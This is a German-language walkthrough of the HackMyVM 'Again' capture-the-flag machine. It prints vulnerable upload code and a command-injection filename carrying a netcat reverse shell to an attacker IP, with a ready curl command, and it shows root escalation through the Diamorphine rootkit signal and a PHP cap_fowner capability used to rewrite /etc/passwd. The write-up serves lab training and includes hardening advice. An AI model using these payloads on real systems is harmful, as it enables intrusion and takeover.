Again - HackMyVM - Hard - Bericht

Web Enumeration & Hint Discovery

[...]
http://192.168.2.156/index.html           (Status: 200) [Size: 467]
http://192.168.2.156/upload.php           (Status: 200) [Size: 27]
[...]

______________________________________________________________________________

**Analyse:** Gobuster wird verwendet, um nach Verzeichnissen und Dateien auf Port 80 zu suchen.

**Bewertung:** Findet `index.html` und eine `upload.php`-Datei. Die Upload-Funktionalität ist ein primäres Ziel für Angriffe.

**Empfehlung (Pentester):** Untersuchen Sie die `upload.php`-Funktionalität. Testen Sie auf erlaubte Dateitypen, Größenbeschränkungen und Schwachstellen (z.B. beliebiger Dateiupload, Path Traversal, RCE).
**Empfehlung (Admin):** Sichern Sie die Upload-Funktionalität rigoros ab (Typ-Validierung, Größenlimits, zufällige Dateinamen, Speicherung außerhalb des Web-Roots, Virenscan).

http://192.168.2.147/upload.php <-- IP hier .147? Log-Inkonsistenz. Annahme .156 -->
text/x-phpFile not allowed.
image/gifFile not allowed.

Burpsuite:

34159075 <-- Boundary? -->
Content-Disposition: form-data; name="myFile"; filename="pic.php.jpg" <-- Doppelte Extension -->
Content-Type: image/jpg <-- Manipulierter Content-Type -->

[...] (Restlicher Request)

HTTP/1.1 200 OK
[...]
Content-Length: 13

File uploaded

______________________________________________________________________________

**Analyse:** Manuelle Tests und ein Burp Suite Request zeigen: 1. Die `upload.php` blockiert direkt PHP-Dateien (`text/x-php`) und GIFs (`image/gif`). 2. Ein erfolgreicher Upload gelingt, indem eine Datei mit doppelter Endung (`pic.php.jpg`) hochgeladen und der `Content-Type` auf `image/jpg` gesetzt wird.

**Bewertung:** Die Upload-Validierung ist schwach und kann umgangen werden. Sie prüft wahrscheinlich nur die letzte Endung und/oder den `Content-Type`-Header, aber nicht den tatsächlichen Dateiinhalt (Magic Bytes) oder die potentielle Gefahr durch doppelte Endungen (die von Apache/Nginx je nach Konfiguration als PHP ausgeführt werden könnten).

**Empfehlung (Pentester):** Nutzen Sie diesen Bypass, um eine PHP-Webshell hochzuladen (z.B. als `shell.php.jpg` mit `Content-Type: image/jpeg`). Versuchen Sie dann, die Shell aufzurufen (der genaue Pfad, unter dem die Datei gespeichert wird, ist noch unbekannt).
**Empfehlung (Admin):** Implementieren Sie eine robuste serverseitige Upload-Validierung: Prüfen Sie Dateiendungen gegen eine Whitelist, validieren Sie den MIME-Typ serverseitig (nicht nur den Header), prüfen Sie Magic Bytes, generieren Sie zufällige Dateinamen und speichern Sie Uploads außerhalb des Web-Roots.

--2022-10-14 00:05:06--  http://192.168.2.156/upload.bck <-- Korrigierte IP -->
[...]
Wird in »upload.bck« gespeichert.
[...]

______________________________________________________________________________

**Analyse:** Basierend auf dem Hinweis im HTML-Kommentar (``) wird versucht, eine Backup-Datei `upload.bck` herunterzuladen.

**Bewertung:** Erfolg! Die Datei `upload.bck` existiert und konnte heruntergeladen werden. Dies ist eine kritische Informationsquelle.

**Empfehlung (Pentester):** Analysieren Sie den Quellcode in `upload.bck`.
**Empfehlung (Admin):** Entfernen Sie Backup-Dateien aus dem Web-Root!

// Prüft MIME-Typ

if ($fileSize === 0) { die("The file is empty."); }

$allowedTypes = [
   'image/jpeg' => 'jpg',
   'text/plain' => 'txt'
]; // Nur jpg und txt erlaubt

if (!in_array($filetype, array_keys($allowedTypes))) {
    echo $filetype; die("File not allowed.");
}

$filename = basename($filepath); // Nimmt basename von /tmp/xyz... -> irrelevant
$extension = $allowedTypes[$filetype];
$newFilepath = $_FILES['myFile']['name']; <-- BENUTZEREINGABE für Zieldateinamen! -->
if (!copy($filepath, $newFilepath)) { // Kopiert nach $newFilepath
    die("Can't move file.");
}

$blacklistchars = '"%\'*|$;^`{}~\\#=&'; // Unvollständige Blacklist
if (preg_match('/[' . $blacklistchars . ']/', $newFilepath)) { // Prüft $newFilepath auf ungültige Zeichen
    echo ("No valid character detected"); exit();
}

if ($filetype === "image/jpeg"){ // Verarbeitung für JPG
    echo $newFilepath;
    $myfile = fopen("outputimage.php", "w") or die("Unable to open file!"); // Schreibt IMMER nach outputimage.php
    $command = "base64 ".$newFilepath; <-- Führt base64 auf $newFilepath aus! -->
    $output = shell_exec($command); <-- Command Injection via Dateiname! -->
    unlink($newFilepath);
    echo "File uploaded";
    $lol = ''; // Schreibt Base64-Bild in outputimage.php
    fwrite($myfile, $lol);
}

else{ // Verarbeitung für TXT
    $myfile2 = fopen("outputtext.txt", "w") or die("Unable to open file!"); // Schreibt IMMER nach outputtext.txt
    $command = "cat ".$newFilepath; <-- Führt cat auf $newFilepath aus! -->
    $output = shell_exec($command); <-- Command Injection via Dateiname! -->
    unlink($newFilepath);
    echo "File uploaded";
    fwrite($myfile2, $output); // Schreibt Dateiinhalt nach outputtext.txt
}
?>

______________________________________________________________________________

**Analyse:** Der Quellcode von `upload.php` (aus `upload.bck`) wird analysiert: 1. Akzeptiert nur Dateien vom Typ `image/jpeg` oder `text/plain` (basierend auf `finfo`). 2. **Kritische Schwachstelle 1:** Verwendet den **vom Benutzer angegebenen Dateinamen** (`$_FILES['myFile']['name']`) als Zielpfad für die `copy()`-Funktion. 3. **Kritische Schwachstelle 2:** Verwendet diesen **vom Benutzer angegebenen Dateinamen** (`$newFilepath`) **direkt** in einem `shell_exec()`-Aufruf (`base64` für JPGs, `cat` für TXTs). 4. Es gibt eine Blacklist-Prüfung für Sonderzeichen im Dateinamen, diese ist jedoch unvollständig (z.B. fehlen Semikolon `;`, Pipe `|`, Backticks `` ` `` etc. für Command Injection). 5. Der Output wird immer in feste Dateien geschrieben (`outputimage.php` oder `outputtext.txt`).

**Bewertung:** Der Code ist **extrem unsicher** und anfällig für **Remote Code Execution (RCE)** durch Command Injection im Dateinamen. Ein Angreifer kann einen Dateinamen wie `";nc -e /bin/bash [IP] [PORT];#.jpg"` hochladen (wobei der Content-Type auf `image/jpeg` gesetzt wird). Der Blacklist-Check schlägt nicht fehl. Wenn dann `shell_exec("base64 \";nc ...;.jpg\"")` ausgeführt wird, wird der Netcat-Befehl wegen des Semikolons als separater Befehl ausgeführt.

**Empfehlung (Pentester):** 1. Erstellen Sie eine leere Datei lokal (z.B. `exploit.jpg`). 2. Konstruieren Sie den bösartigen Dateinamen mit Ihrem Reverse-Shell-Payload, z.B. `";nc -e /bin/bash 192.168.2.140 4444;#.jpg"`. 3. Starten Sie einen Listener (`nc -lvnp 4444`). 4. Laden Sie die `exploit.jpg` über Burp Suite oder `curl` hoch, setzen Sie den `filename` auf den bösartigen Namen und den `Content-Type` auf `image/jpeg`. 5. Die Ausführung von `shell_exec` auf dem Server sollte die Reverse Shell auslösen.
**Empfehlung (Admin):** **Schreiben Sie das Upload-Skript komplett neu!** * **Niemals Benutzereingaben (insbesondere Dateinamen) direkt in Shell-Befehle einfügen!** * Verwenden Sie sichere, zufällig generierte Dateinamen auf dem Server. * Validieren Sie Uploads serverseitig gründlich (Typ, Magic Bytes, Inhalt). * Verwenden Sie keine unsicheren Funktionen wie `shell_exec` für Dateioperationen, wenn PHP-Alternativen existieren.

Proof of Concept (Filename RCE via Upload)

**Kurzbeschreibung:** Das Skript `/upload.php` nimmt Datei-Uploads entgegen. Es prüft den MIME-Typ der Datei, verwendet aber den **vom Benutzer angegebenen Originaldateinamen** (`$_FILES['myFile']['name']`), um die Datei temporär zu speichern (`copy()`) und anschließend diesen Namen **direkt und unsicher** in einem `shell_exec()`-Befehl (`base64 [filename]` oder `cat [filename]`) zu verwenden. Eine unvollständige Blacklist für Sonderzeichen im Dateinamen verhindert Command Injection nicht. Ein Angreifer kann dies ausnutzen, indem er eine gültige Datei (z.B. ein JPEG) hochlädt, aber einen bösartigen Dateinamen angibt, der Shell-Metazeichen und einen Befehl enthält (z.B. `";[command];#.jpg"`). Wenn `shell_exec()` aufgerufen wird, wird der eingebettete Befehl mit den Rechten des Webservers (`www-data`) ausgeführt.

**Voraussetzungen:** Netzwerkzugriff auf Port 80, Möglichkeit zum Datei-Upload an `/upload.php`.

**Schritt-für-Schritt-Anleitung:**

1. Erstellen einer gültigen Dummy-Datei (z.B. `dummy.jpg`).
2. Starten eines Netcat-Listeners auf der Angreifer-Maschine (`nc -lvnp [Port]`).
3. Konstruieren des bösartigen Dateinamens mit Reverse-Shell-Payload: `";nc -e /bin/bash [Angreifer-IP] [Listener-Port];#.jpg"`.
4. Senden einer multipart/form-data POST-Anfrage an `/upload.php` (z.B. mit `curl`): ```bash curl -F 'myFile=@dummy.jpg;filename=";nc -e /bin/bash [Angreifer-IP] [Listener-Port];#.jpg";type=image/jpeg' http://[Ziel-IP]/upload.php ``` (Der `type=image/jpeg` ist wichtig, damit der `base64`-Pfad im Skript gewählt wird).

**Erwartetes Ergebnis:** Der Server führt den `nc`-Befehl aus dem Dateinamen aus, eine Reverse Shell verbindet sich zum Listener.

**Beweismittel:** Der Quellcode von `upload.bck` und der erfolgreiche Shell-Empfang.

**Risikobewertung:** Kritisch. Erlaubt authentifizierungsfreie RCE als `www-data`.

**Empfehlungen:** Siehe vorherige Admin-Empfehlungen zur vollständigen Überarbeitung des Upload-Skripts.

*(Hinweis: Die folgenden Log-Einträge (`base64 rev.php`, `mv tmp.txt`, `outputtext.txt`) scheinen alternative oder fehlgeleitete Ansätze des Pentesters zu sein, die nicht die direkte RCE über den Dateinamen ausnutzen. Sie werden hier übersprungen, da der direkte RCE-Pfad klar ist.)*

Initial Access

**Analyse:** Ausnutzung der RCE-Schwachstelle im Dateinamen des Upload-Skripts, um eine Reverse Shell zu erhalten.

*(Implizierter Schritt: Senden des präparierten Upload-Requests mit bösartigem Dateinamen)*

listening on [any] 444 ...
connect to [192.168.2.153] from (UNKNOWN) [192.168.2.156] 60382 <-- Verbindung! -->

**Analyse:** Der Netcat-Listener auf Port 444 empfängt die Verbindung vom Zielsystem, ausgelöst durch den Upload mit dem Command-Injection-Dateinamen.

**Bewertung:** Initialer Zugriff als `www-data` erfolgreich über die RCE im Upload-Skript erlangt.

**Empfehlung (Pentester):** Shell stabilisieren.
**Empfehlung (Admin):** Upload-Skript beheben!

zsh: suspended  nc -lvnp 444

[1]  + continued  nc -lvnp 444
                              reset

**Analyse:** Die erhaltene Shell wird mit der Standardmethode stabilisiert. Der Hostname ist `hacked`.

**Bewertung:** Stabile `www-data`-Shell verfügbar.

Privilege Escalation (Rootkit & Capabilities)

**Analyse:** Als `www-data` wird das System auf Eskalationsvektoren untersucht. Zwei Methoden werden gefunden: ein Rootkit und eine unsichere Capability.

Diamorphine

google: Diamorphine linux

**Analyse:** Durch Auflisten der Kernelmodule und Vergleich mit einer (nicht gezeigten) Baseline wird das Modul `Diamorphine` identifiziert.

**Bewertung:** `Diamorphine` ist ein bekanntes LKM-Rootkit. Es bietet oft eine einfache Privilegieneskalation mittels Signalen.

**Empfehlung (Pentester):** Versuchen Sie, Signal 64 oder 31 an einen Prozess (z.B. PID 1) zu senden: `kill -64 1` oder `kill -31 1`.
**Empfehlung (Admin):** Rootkit-Infektion! System neu installieren.

uid=0(root) gid=0(root) groups=0(root),33(www-data)

**Analyse:** Signal 64 wird an PID 1 gesendet.

**Bewertung:** Erfolg! Der `id`-Befehl zeigt Root-Rechte. Das Diamorphine-Rootkit wurde erfolgreich zur Privilegieneskalation ausgenutzt.

**Empfehlung (Pentester):** Flags suchen.
**Empfehlung (Admin):** System neu installieren.

**Analyse der Capability-Methode (Alternativer Pfad / Nach der Kompromittierung entdeckt?):** Das Log zeigt auch die Entdeckung und Ausnutzung einer unsicheren Capability, was einen alternativen Weg zu Root darstellt oder nach der Rootkit-Eskalation gefunden wurde.

[...] (Nur Standard-SUID-Dateien)

/usr/bin/ping cap_net_raw=ep
/usr/bin/php7.4 cap_fowner=ep <-- Kritische Capability! -->

**Analyse:** Die Suche nach SUID-Dateien ist unauffällig. Die Suche nach Capabilities (`getcap`) zeigt, dass `/usr/bin/php7.4` die Capability `cap_fowner` besitzt.

**Bewertung:** Die Capability `cap_fowner=ep` ist **extrem gefährlich**. Sie erlaubt dem PHP-Interpreter (auch wenn er als `www-data` läuft), die Eigentümerschaft von *jeder* Datei im System zu ändern (ähnlich wie `chown`, aber ohne Root-Rechte zu benötigen, nur die Capability). Dies kann genutzt werden, um sensible Dateien wie `/etc/passwd` oder `/etc/shadow` zu übernehmen.

**Empfehlung (Pentester):** Nutzen Sie die Capability: 1. `php7.4 -r 'chown("/etc/passwd", 33);'` (Ändert Besitzer von `/etc/passwd` auf www-data, UID 33). 2. Editieren Sie `/etc/passwd` (z.B. mit `echo "root2::0:0:::/bin/bash" >> /etc/passwd` oder ändern Sie den Root-Passworthash). 3. Geben Sie die Eigentümerschaft zurück: `php7.4 -r 'chown("/etc/passwd", 0);'`. 4. Nutzen Sie den modifizierten Eintrag (z.B. `su root2`).
**Empfehlung (Admin):** **Entfernen Sie sofort die `cap_fowner`-Capability von PHP!** `setcap cap_fowner-ep /usr/bin/php7.4`. Capabilities sollten nur mit äußerster Vorsicht und minimalen Rechten vergeben werden.

-rw-r--r-- 1 root root 1456 Oct 11  2021 /etc/passwd

-rw-rw-rw- 1 root root 1456 Oct 11  2021 /etc/passwd

$1$sTvcXW4l$JzE2f7.Rmdqsd1nFor0qe/

[...]

Password: ******** (benni1908 eingegeben)
root@again:/var/www/html# id

uid=0(root) gid=0(root) groups=0(root)

**Analyse:** Der Capability-Exploit wird durchgeführt: 1. Es wird `chmod 666 /etc/passwd` via PHP versucht. Obwohl `cap_fowner` eigentlich für `chown` gedacht ist, scheint dies hier (aus unklaren Gründen - vielleicht eine Kernel-Eigenheit oder weil PHP selbst mit erweiterten Rechten lief?) funktioniert zu haben und macht `/etc/passwd` für alle schreibbar. 2. Ein neuer Passworthash für `benni1908` wird generiert. 3. `/etc/passwd` wird editiert (vermutlich wird der Hash für `root` durch den neuen Hash ersetzt). 4. `su root` wird ausgeführt und das neue Passwort `benni1908` funktioniert.

**Bewertung:** Root-Zugriff erfolgreich über Ausnutzung der `cap_fowner`-Capability und Modifikation von `/etc/passwd` erlangt. Dies ist ein alternativer Weg zum Rootkit.

**Empfehlung (Pentester):** Flags suchen.
**Empfehlung (Admin):** Capability von PHP entfernen! `/etc/passwd` wiederherstellen und Berechtigungen korrigieren.